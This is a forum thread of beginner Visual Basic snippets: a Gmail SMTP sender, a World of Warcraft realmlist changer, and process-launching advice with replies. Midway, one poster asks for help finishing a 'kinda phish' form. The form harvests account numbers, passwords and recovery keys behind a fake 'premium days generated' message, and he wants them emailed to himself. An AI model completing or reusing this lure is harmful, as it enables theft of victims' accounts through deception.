Hello. At here i will learn you some Visual Basic / post some codes
What this could be used for : You can use it for ex. making a program for sending from GMail isted of opening your browser.
Note: Edit every thing in RED
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("username", "password")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
mail.To.Add("your_target@gmail.com")
mail.From = New MailAddress("username@gmail.com")
mail.Subject = "My E-Mail from my Visual Basic Program"
mail.Body = " Hello. Do you think this is nice? and btw. EmiloZ helped me to make it :D"
SmtpServer.Send(mail)
Realmlist Changer ( Without custom textbox )
What this could be used for : You can use it for chaning your realmlist by just pressing on a button.
Note: Edit every thing in RED
Code :
Code:
Dim FileName As String
FileName = "C:\Program Files\World of Warcraft\Data\realmlist.wtf"
Dim sw As IO.TextWriter
sw = IO.File.CreateText("C:\Program Files\World of Warcraft\Data\realmlist.wtf")
sw.WriteLine("set realmlist blablabla.servegame.org")
sw.WriteLine("set patchlist blablabla.servegame.org")
sw.Flush()
sw.Close()
US realmlist :
Code:
Dim FileName As String
FileName = "C:\Program Files\World of Warcraft\Data\realmlist.wtf"
Dim sw As IO.TextWriter
sw = IO.File.CreateText("C:\Program Files\World of Warcraft\Data\realmlist.wtf")
sw.WriteLine("set realmlist us.logon.worldofwarcraft.com")
sw.WriteLine("set patchlist us.version.worldofwarcraft.com")
sw.Flush()
sw.Close()
EU realmlist :
Code:
Dim FileName As String
FileName = "C:\Program Files\World of Warcraft\Data\realmlist.wtf"
Dim sw As IO.TextWriter
sw = IO.File.CreateText("C:\Program Files\World of Warcraft\Data\realmlist.wtf")
sw.WriteLine("set realmlist eu.logon.worldofwarcraft.com")
sw.WriteLine("set patchlist eu.version.worldofwarcraft.com")
sw.Flush()
sw.Close()
Starting an program from a button
Edit everything in RED
Code:
System.Diagnostics.Process.Start("filepath")
will show x form
Code:
Formx.Show()
More to come
- EmiloZ
Free hosting. 100 MB per file allowed and split archive too! [Only registered and activated users can see links. ]
Anthraxx is right, System.Diagnostics.Process.Start works the same as the Run thing on the start menu. Oh, and one other thing. I think these lines are a little superfluous:
Code:
Dim FileName As String
FileName = "C:Program FilesWorld of Warcraftrealmlist.wtf"
I mean, you're not even using the string after you give it a value.
Anthraxx is right, System.Diagnostics.Process.Start works the same as the Run thing on the start menu. Oh, and one other thing. I think these lines are a little superfluous:
Code:
Dim FileName As String
FileName = "C:Program FilesWorld of Warcraftrealmlist.wtf"
I mean, you're not even using the string after you give it a value.
The code works, used it for million times.
Free hosting. 100 MB per file allowed and split archive too! [Only registered and activated users can see links. ]
Thnx for the share ^^ A problem of VB is that your code gets a mess easy (at least, if it contains more 1 line XD)
EDIT: Don't think I hate VB or something I actually like it for quick programs, and I used to make bots with it for a 3D Chat Community (Active Worlds)... But its just something I find annoying
<-- IGNORE THIS IT IS NOT TRUE
Last edited by Rockerfooi; 09-15-2008 at 02:18 PM..
Dim TaslID As Integer
TaslID = Shelll("filepath", AppWinStyle.NormalFocus)
Parameters for Shell
PathName
Required. String. Name of the program to execute, together with any required arguments and command-line switches. PathName can also include the drive and the directory path or folder.
If you do not know the path to the program, you can use the My.Computer.FileSystem.GetFiles Method to locate it. For example, you can call My.Computer.FileSystem.GetFiles("C:\", True, "testFile.txt"), which returns the full path of every file named testFile.txt anywhere on drive C:\.
Style
Optional. AppWinStyle. A value chosen from the AppWinStyle Enumeration specifying the style of the window in which the program is to run. If Style is omitted, Shell uses AppWinStyle.MinimizedFocus, which starts the program minimized and with focus.
Wait
Optional. Boolean. A value indicating whether the Shell function should wait for completion of the program. If Wait is omitted, Shell uses False.
Timeout
Optional. Integer. The number of milliseconds to wait for completion if Wait is True. If Timeout is omitted, Shell uses -1, which means there is no timeout and Shell does not return until the program finishes. Therefore, if you omit Timeout or set it to -1, it is possible that Shell might never return control to your program.
Hey, I need some help getting e-mailer work. I have a form with 3 text boxes, Account Number, Password, Recovery Key. I want my app to send an e-mail with these TextBoxe's texts as a body to my e-mail, kinda phish.. Can someone finish this for me, so when you press Button1 it sends an e-mail? I'm pretty new to VB, I can't get this to work properly.. This is what I have:
Code:
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("Please enter your account number.")
ElseIf TextBox2.Text = "" Then
MsgBox("Please enter your password.")
ElseIf TextBox3.Text = "" Then
MsgBox("Please enter your recovery key.")
Else : ProgressBar1.Value = 100
Label4.Text = "Successful!"
MsgBox("Successfully generated 90 premium days to your account. Please login.")
End If
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
TextBox1.Text = ""
TextBox2.Text = ""
TextBox3.Text = ""
Label4.Text = "Waiting for request.."
ProgressBar1.Value = 1
End Sub
End Class
Dim TaslID As Integer
TaslID = Shelll("filepath", AppWinStyle.NormalFocus)
Parameters for Shell
PathName
Required. String. Name of the program to execute, together with any required arguments and command-line switches. PathName can also include the drive and the directory path or folder.
If you do not know the path to the program, you can use the My.Computer.FileSystem.GetFiles Method to locate it. For example, you can call My.Computer.FileSystem.GetFiles("C:", True, "testFile.txt"), which returns the full path of every file named testFile.txt anywhere on drive C:.
Style
Optional. AppWinStyle. A value chosen from the AppWinStyle Enumeration specifying the style of the window in which the program is to run. If Style is omitted, Shell uses AppWinStyle.MinimizedFocus, which starts the program minimized and with focus.
Wait
Optional. Boolean. A value indicating whether the Shell function should wait for completion of the program. If Wait is omitted, Shell uses False.
Timeout
Optional. Integer. The number of milliseconds to wait for completion if Wait is True. If Timeout is omitted, Shell uses -1, which means there is no timeout and Shell does not return until the program finishes. Therefore, if you omit Timeout or set it to -1, it is possible that Shell might never return control to your program.
Not only is using Shell not recommended (by many sites, MSDN included), but Process.Start(string) allows you to store the Process in a variable to do work with later. (And instead of using a string to start the process itself, you can optionally feed it a ProcessStartInfo which can set up many many more things)
I.E:
Code:
' Create our start info
Dim info As New ProcessStartInfo("C:MyExecutable.exe", "myArgs -for -the -app")
' We'll be redirecting the standard output to our own application
info.RedirectStandardOutput = True
' Shell execute so we don't have to worry about some nasty kernel errors
info.UseShellExecute = True
' Set the window style for when we start the external application.
info.WindowStyle = ProcessWindowStyle.Hidden
' Start our process, and keep the Process reference.
' This allows us to do some cool stuff, and not worry about tracking the process
' via Process.GetProcessByName etc
Dim process As Process = Process.Start(info)
' Set up a StreamReader to get the current output from our other app
Dim reader As StreamReader = process.StandardOutput
' While the app is still running, print a simple full stream debug to our application.
While Not process.HasExited
Console.WriteLine(reader.ReadToEnd())
End While
' Print the ExitCode for the app
Console.WriteLine("Process exited with exit code " + process.ExitCode)
' Kill our reader.
reader.Close()
Works great for things like console apps. (You can redirect the input/output easily to make it seem as though your WinForm app is running the other console app)
I do this with a few of my own programs. (As well as a batch WinRar archiver) I wouldn't suggest it with larger applications though. (Such as Firefox, etc. The output stream gets pretty nasty.)
In short: Always use the Process class. Stay away from Shell whenever possible.